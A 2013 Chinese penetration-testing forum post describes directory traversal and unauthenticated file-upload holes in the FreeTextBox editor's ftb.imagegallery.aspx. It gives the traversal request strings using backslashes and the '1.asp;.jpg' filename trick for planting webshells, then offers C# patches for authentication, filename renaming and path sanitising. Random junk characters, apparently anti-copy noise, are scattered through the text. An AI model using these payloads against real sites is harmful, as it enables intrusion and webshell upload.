中国网络渗透测试联盟

标题: Treetextbox编辑器遍历目录+上传漏洞 [打印本页]

作者: admin    时间: 2013-1-18 18:22
标题: Treetextbox编辑器遍历目录+上传漏洞
  漏洞文件:ftb.imagegallery.aspx
+ Q* l1 b  ^) w6 a; w& t0 ^- K: K) F8 Q
漏洞一:目录遍历/ W2 U9 r+ X7 Z3 I3 [, a
ftb.imagegallery.aspx?frame=1&rif=images&cif=../
  R3 ^( o3 V3 a, T* F" m# K不可以,过滤了/6 t6 \5 J$ {/ u. d: |  F
ftb.imagegallery.aspx?frame=1&rif=images&cif=..\$ l& G2 L9 Q5 z
可以!!过滤\符号 嘿嘿,能干什么自己知道了呗。8 L$ Z5 j) V5 f7 w. X. c
ftb.imagegallery.aspx?frame=1&rif=images&cif=..\..
/ \* e7 k& W" u0 h; t5 M7 B漏洞二:上传漏洞
* e- p) Q3 E/ h  ~2 d. p! t没做登陆验证可以直接访问上传木马 FTBv3-3-1 可以直接上传任意格式的文件 Freetextbox 1.6.3 及其他版本可以上传 格式为 1.asp;.jpg 文件 上传后木马地址为http://网站地址/images/1.asp;.jpg
* `0 ?  ~8 A6 J6 u7 C7 x8 I( R1 g2 V
  N: b! n0 J. k5 u, c& Q 7 G6 [5 J9 |9 J4 t
漏洞修补方案:1 \6 {4 _, D5 C
: U1 ~: k+ r; F
添加代码加登陆验证
! w  K' F1 w3 Y1 P9 i2 U) Mprivate void Page_Load(object sender, System.EventArgs e) {    string isframe = “” + Request["frame"];   Freetextbox上传图片是直接保留原文件名的,这个地方做个修改,上传文件使用时间串做文件名。# v9 J$ S& e' s* q8 \! T9 U
; f# i1 O3 j* f# H/ m9 J
修改方式如下:
3 N, s$ C* d+ i" Z* J6 J
" e/ u, d! x3 o, a找到 程序代码
0 o4 d0 Z% u( S4 YUploadFileNameUploadFileName = UploadFileName.Substring(UploadFileName.LastIndexOf(“\\”)+1);    在其下面添加以下代码
) ]4 [4 H6 U& V( N; `//********************* UploadFileName = DateTime.Now.ToString() + UploadFileName.Remove(0, UploadFileName.LastIndexOf(“.”)); UploadFileName = UploadFileName.Replace(“:”, “”).Replace(“-”, “”).Replace(” “, “”); //by Yation.Team 2009/7/17 上传文件用时间重命名
8 U. F2 s: Y* v以前已经有人公布过fb暴路径的方法 http*****.cn/helps/ftb.imagegallery.aspx?frame=1”在地址后面加上&rif=..&cif=..在访问 整个网站的目录就呈现在眼前了,下面还有上传删除等按钮… 修正方式如下: 找到 程序代码 if (cif != “” && rif != “”) {6 B0 V7 `* ]/ r" j! Q! V9 H, K* `
把RootImagesFolder.Value = rif;
# j9 r- ^) m# F% s/ j& `+ W9 g- q- h
替换成/ f$ d- M/ K. @% [1 m- x7 E7 s
程序代码 //***************************** RootImagesFolder.Value = DefaultImageFolder; Array srtArray = cif.Split(‘\\’); string str = srtArray.GetValue(0).ToString(); if (str != DefaultImageFolder) { cif = DefaultImageFolder; } cif = cif.Replace(“..\\”, “”).Replace(“../”,”");# i9 Q+ `# j! [* A





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2